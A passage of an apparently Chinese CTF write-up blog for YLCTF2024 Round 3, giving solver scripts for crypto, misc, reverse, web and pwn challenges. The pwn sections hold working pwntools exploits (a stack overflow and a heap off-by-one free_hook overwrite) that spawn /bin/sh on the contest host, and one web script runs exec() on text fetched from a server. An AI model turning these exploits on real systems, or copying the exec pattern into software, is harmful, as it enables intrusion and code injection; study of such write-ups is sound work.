a_match = re.search(r'a=(\d+)', data)
b_match = re.search(r'b=(\d+)', data)
N_match = re.search(r'N=(\d+)', data)
num1_match = re.search(r'num1=(\d+)', data)

if a_match and b_match and N_match and num1_match:
a = int(a_match.group(1))
b = int(b_match.group(1))
N = int(N_match.group(1))
num1 = int(num1_match.group(1))

def find_seed_a_b(a, b, N, num1):
left_side = (num1 - b) % N
a_inv = inverse(a, N)
seed = (left_side * a_inv) % N
return seed

seed = find_seed_a_b(a, b, N, num1)
p.sendline(str(seed))
response = p.recvuntil("success!".encode())
print(response.decode())

response = p.recvuntil("Challenge two,30 Round".encode())
if "Challenge two,30 Round" in response.decode():
for _ in range(30):
data = p.recvuntil("seed =".encode()).decode()

a_match = re.search(r'a=(\d+)', data)
N_match = re.search(r'N=(\d+)', data)
num1_match = re.search(r'num1=(\d+)', data)
num2_match = re.search(r'num2=(\d+)', data)

if a_match and N_match and num1_match and num2_match:
a = int(a_match.group(1))
N = int(N_match.group(1))
num1 = int(num1_match.group(1))
num2 = int(num2_match.group(1))

def lcg_seed(num1, num2, a, N):
b = (num2 - (a * num1) % N + N) % N
seed = (num1 - b) * inverse(a, N) % N
return seed

seed = lcg_seed(num1, num2, a, N)
p.sendline(str(seed))
response = p.recvuntil("success!".encode())
print(response.decode())

# Challenge three 部分
data = p.recvuntil("Challenge three,10 Round".encode()).decode()
if "Challenge three,10 Round" in data:
print("进入 Challenge three, 10 Round")
for _ in range(10):
data = p.recvuntil("seed =".encode()).decode()

N_match = re.search(r'N=(\d+)', data)
num1_match = re.search(r'num1=(\d+)', data)
num2_match = re.search(r'num2=(\d+)', data)
num3_match = re.search(r'num3=(\d+)', data)

if N_match and num1_match and num2_match and num3_match:
N = int(N_match.group(1))
num1 = int(num1_match.group(1))
num2 = int(num2_match.group(1))
num3 = int(num3_match.group(1))

# 使用 LCG 解密函数找到 seed
seed, a, b = find_seed(N, num1, num2, num3)

if seed is not None:
p.sendline(str(seed))
response = p.recvuntil("success!".encode())
print(response.decode())
else:
print("无法找到种子")
p.interactive()
[Round 3] QWQ

明显的颜文字,转一下再base解密即可

qwq

Misc

[Round 3] Blackdoor

一个文件夹,用d盾扫一下发现危险文件,里面有MD5值,套一下得到flag

Pwn

[Round 3] Secret

附件ida打开输入nc连接输入密文SuperSecretPassword得到flag

[Round 3] ezstack3

先看mian和vuln,再观察system利用栈溢出漏洞首先发送填充数据以覆盖返回地址,然后接收 EBP 地址并计算其偏移。接着构造 payload,调用 system 函数执行 /bin/sh,最终获得交互式 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

p = remote('challenge.yuanloo.com', 32407)
context(os='linux', arch='i386', log_level='debug')

p.recvuntil(b'Welcome to YLCTF stack3')
p.send(b'a' * 0x30)
p.recvuntil(b'a' * 0x30)

ebp = u32(p.recv(4)) - 16
p.recvuntil(b'pwn!')

p.send(
p32(0x080490C0) + # system
p32(0) + # argument for system
p32(ebp - 36) + # return address
b'/bin/sh\x00' +
b'a' * 28 +
p32(ebp - 52) + # old EBP
p32(0x08049324) # leave_ret
)
p.interactive()

stack3

[Round 3] null

利用了 off-by-one 漏洞,通过 edit 函数实现堆块重叠,进而修改前一个堆块的 fd 指针以覆盖 free_hook。当再次释放该堆块时,程序会调用 free_hook 指向的地址,执行 system 函数,从而获取权限并启动一个 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

def print_info(x): print('\x1b[01;38;5;214m' + x + '\x1b[0m')

def print_error(x): print('\x1b[01;38;5;1m' + x + '\x1b[0m')

class Exploit:
def __init__(self, is_remote=True):
self.elf = ELF('./pwn')
self.libc = ELF('./libc-2.27.so')

if is_remote:
self.p = remote('challenge.yuanloo.com', 39010)
else:
self.p = process('./pwn')

self.libc_base = 0
self.malloc_hook = 0
self.free_hook = 0
self.system = 0
self.bin_sh = 0
def get_addr64(self):
return u64(self.p.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))

def get_libc_offsets(self):
self.malloc_hook = self.libc_base + self.libc.sym['__malloc_hook']
self.free_hook = self.libc_base + self.libc.sym['__free_hook']
self.system = self.libc_base + self.libc.sym['system']
self.bin_sh = self.libc_base + next(self.libc.search(b"/bin/sh\x00"))

# Heap operations
def add(self, index, size):
self.p.recvuntil(b':')
self.p.sendline(str(1))
self.p.recvuntil(b"Index: ")
self.p.sendline(str(index))
self.p.recvuntil(b"Size ")
self.p.sendline(str(size))

def free(self, index):
self.p.recvuntil(b':')
self.p.sendline(str(4))
self.p.recvuntil(b"Index: ")
self.p.sendline(str(index))

def show(self, index):
self.p.recvuntil(b':')
self.p.sendline(str(3))
self.p.recvuntil(b"Index: ")
self.p.sendline(str(index))

def edit(self, index, content):
self.p.recvuntil(b':')
self.p.sendline(str(2))
self.p.recvuntil(b"Index: ")
self.p.sendline(str(index))
self.p.recvuntil(b"Content: ")
self.p.sendline(content)

def exploit(self):
# Initial heap setup
for i in range(9):
self.add(i, 0x90)

for i in range(8):
self.free(i)

for i in range(7):
self.add(i, 0x90)
self.add(7, 0x88)

self.show(7)
self.libc_base = self.get_addr64() - 4111664
print_info(f"Libc base: {hex(self.libc_base)}")
self.get_libc_offsets()

self.add(9, 0x18)
self.add(10, 0x68)
self.add(11, 0x68)
self.add(12, 0x68)
self.add(13, 0x18)

self.edit(9, b'a' * 0x18 + p8(0xe1))
self.free(10)
self.add(10, 0xd8)
self.free(12)
self.free(11)

self.edit(10, b'\x00' * 0x68 + p64(0x71) + p64(self.free_hook))
self.add(14, 0x68)
self.add(15, 0x68)
self.edit(15, p64(self.system))

self.edit(9, b'/bin/sh\x00')
self.free(9)

self.p.interactive()


def main():
exp = Exploit(is_remote=True)
exp.exploit()

if __name__ == "__main__":
main()

null

Re

[Round 3] ezmaze(一血)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import hashlib
from collections import deque

def visualize_maze(maze_str, width=10):
"""Visualize the maze in a grid format."""
return '\n'.join(maze_str[i:i + width] for i in range(0, len(maze_str), width))

def is_valid_move(maze, pos):
"""Check if the current position is valid."""
return 0 <= pos < len(maze) and maze[pos] in ['+', 'F']

def solve_maze():
maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"
start_pos = 5
moves = {'w': -10, 's': 10, 'a': -1, 'd': 1}

queue = deque([(start_pos, "")])
visited = {start_pos}

while queue:
pos, path = queue.popleft()

if maze[pos] == 'F':
return path

for move_char, move_val in moves.items():
new_pos = pos
while is_valid_move(maze, new_pos + move_val):
new_pos += move_val
if new_pos not in visited:
visited.add(new_pos)
queue.append((new_pos, path + move_char))

return None

def verify_solution(solution):
maze = "*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"
pos = 5
move_map = {'w': -10, 's': 10, 'a': -1, 'd': 1}

for action in solution:
move = move_map[action]
while is_valid_move(maze, pos + move):
pos += move

return maze[pos] == 'F'

def main():
solution = solve_maze()
print(f"Found solution path: {solution}")

if verify_solution(solution):
print("Solution verified: Valid!")
else:
print("Solution verification failed!")
return

flag = "YLCTF{" + hashlib.md5(solution.encode()).hexdigest() + "}"
print("\nMaze visualization (10x10 grid):")
print(visualize_maze("*****++*********+******+*++******+++*****F*+*******+*+++*****+***++****+***+*****+***+*+***+++++++************"))
print("\nFinal flag:", flag)

if __name__ == "__main__":
main()
[Round 3] CASE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
import ctypes
import time

# 加载 libc
libc = ctypes.CDLL("libc.so.6")

# 连接到靶机
p = remote("challenge.yuanloo.com", 30037)

# 用于保存加密值
enc = []

for _ in range(43):
response = p.recvuntil(b',')
enc.append(response.strip().decode().rstrip(','))

print("Encrypted values:", enc)

enc_values = [int(x, 16) for x in enc]

# 用于保存解密的结果
decrypted = []


seed = int(time.time())
libc.srand(seed)

for i in range(len(enc_values)):
v5 = libc.rand()
original_char = (enc_values[i] ^ (v5 % 255))

# 反向映射字符
if 65 <= original_char <= 90: # A-Z
decrypted_char = chr((original_char + 52 - 65) % 26 + 65)
elif 97 <= original_char <= 122: # a-z
decrypted_char = chr((original_char + 84 - 97) % 26 + 97)
else:
decrypted_char = chr(original_char)

decrypted.append(decrypted_char)

# 输出解密结果
print("Decrypted value:", ''.join(decrypted))

# 关闭连接
p.close()

不知道具体的原理,要得到flag的话外面需要rot13内部需要rot7才能得到正确的flag,不太明白re,里面是根据uuid的特性得到的

case

Web

[Round 3] 404

/script.js有提示,然后

404

解密,最后在网页写个py交互一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from bs4 import BeautifulSoup

session = requests.Session()

url = 'http://challenge.yuanloo.com:33968/ca.php'
response = session.get(url)
soup = BeautifulSoup(response.text, 'html.parser')

pre_content = soup.find('pre').text.strip()

pre_content = pre_content.replace('$temp1', 'temp1').replace('$temp2', 'temp2').replace('$temp3', 'temp3').replace('$temp4', 'temp4').replace('$answer', 'answer')
pre_content = pre_content.replace('log', 'math.log').replace('sqrt', 'math.sqrt').replace('pow', 'math.pow').replace('sin', 'math.sin').replace('cos', 'math.cos').replace('tan', 'math.tan').replace('exp', 'math.exp').replace('abs', 'abs')

# 计算表达式
exec(pre_content)

# 输出最终答案,保留两位小数
final_answer = round(answer, 2)
print(f"答案: {final_answer:.2f}")

# 准备 POST 请求的数据
data = {
'user_answer': final_answer
}

post_url = 'http://challenge.yuanloo.com:33968/ca.php'
response = session.post(post_url, data=data)

print(f"POST 请求的响应: {response.text}")
[Round 3] PRead

目录穿越

pread


YLCTF2024
https://0ran9ewww.github.io/2024/10/17/ylctf/ylctf2024/
作者
orange
发布于
2024年10月17日
许可协议